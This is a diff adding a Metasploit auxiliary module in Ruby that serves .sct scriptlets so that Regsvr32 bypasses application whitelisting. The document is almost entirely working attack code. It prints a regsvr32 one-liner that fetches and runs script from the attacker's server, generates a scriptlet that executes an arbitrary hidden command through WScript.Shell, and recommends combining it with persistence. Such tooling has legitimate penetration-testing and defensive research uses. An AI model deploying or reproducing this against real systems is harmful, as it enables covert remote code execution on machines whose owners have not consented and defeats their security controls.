Regsvr32 Command Delivery Server

modules/auxiliary/server/regsvr32_command_delivery_server.rb

@@ -0,0 +1,68 @@
+##
+# This module requires Metasploit: http://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+
+  include Msf::Exploit::Remote::HttpServer
+
+  def initialize(info = {})
+    super(update_info(info,
+      'Name'         => 'Regsvr32.exe (.sct) Command Delivery Server',
+      'Description'  => %q(
+        This module uses the Regsvr32.exe Application Whitelisting Bypass technique as a way to run a command on
+        a target system. The major advantage of this technique is that you can execute a static command on the target
+        system and dynamically and remotely change the command that will actually run (by changing the value of CMD).
+        This is useful when combined with persistence methods (e.g., a recurring scheduled task) or when flexibility
+        is needed through the use of a single command (e.g., as Rubber Ducky payload).
+      ),
+      'License'      => MSF_LICENSE,
+      'Author'       =>
+        [
+          'Casey Smith',  # AppLocker bypass research and vulnerability discovery (@subTee)
+          'Trenton Ivey', # MSF Module (kn0)
+          'mubix',        # Auxiliary module idea
+        ],
+      'References'     =>
+        [
+          ['URL', 'http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html']
+        ]
+    ))
+
+    register_options(
+      [
+        OptString.new('CMD',[false, 'The command to execute',''])
+      ])
+  end
+
+
+  def run
+    exploit
+    print_status("Run the following command on the target machine:")
+    print_line("regsvr32 /s /n /u /i:#{get_uri} scrobj.dll")
+  end
+
+  def on_request_uri(cli, _request)
+    print_status("Handling request from #{cli.peerhost}")
+    data = gen_sct_file(datastore['CMD'])
+    send_response(cli, data, 'Content-Type' => 'text/plain')
+  end
+
+
+  def rand_class_id
+    "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}"
+  end
+
+
+  def gen_sct_file(command)
+    # If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error).
+    if command == ''
+      return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"></registration></scriptlet>}
+    # If a command is provided, tell the target system to execute it.
+    else
+      return %{<?XML version="1.0"?><scriptlet><registration progid="#{Rex::Text.rand_text_alphanumeric 8}" classid="{#{rand_class_id}}"><script><![CDATA[ var r = new ActiveXObject("WScript.Shell").Run("#{command}",0);]]></script></registration></scriptlet>}
+    end
+  end
+
+end